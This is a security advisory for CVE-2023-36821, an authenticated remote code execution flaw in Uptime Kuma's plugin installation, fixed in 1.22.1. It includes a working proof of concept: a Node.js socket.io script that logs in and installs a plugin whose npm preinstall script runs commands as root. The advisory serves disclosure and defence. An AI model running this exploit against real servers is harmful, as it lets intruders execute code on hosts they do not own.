uptime-kuma
Affected
- introduced
0, fixed1.22.1(semver)
Fixed versions
1.22.1
Fix
- Fixed version
1.22.1npm install [email protected]
Advisory
Also known as: CVE-2023-36821
Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation
Summary
Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.
Details
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling npm install in the installation directory of the plugin:
https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216
Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.
PoC
In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty index.js and a package.json containing the script: "preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc". This will be executed when installing the plugin.
docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1admin with password admin123➜ ~ docker exec -it uptime-kuma cat /tmp/poc
cat: /tmp/poc: No such file or directory
poc.js with the following content:SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";
const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "https://github.com/n-thumann/npm-install-script-poc";
const name = "npm-install-script-poc";
socket.emit(
"login",
{ username: USERNAME, password: PASSWORD, token: "" },
(res) => {
if (res.ok !== true) return console.log("Login failed");
console.log("Login successful");
socket.emit("installPlugin", repo, name, () => {
console.log("Done");
socket.close();
});
}
);
socket.io-client: npm install socket.io-clientnode poc.js:# node poc.js
Login successful
Done
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
Malicious code could have been executed as user root
Impact
This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.
High Basis: The source's own band: HIGH
0, fixed 1.22.1 (semver)1.22.1
1.22.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0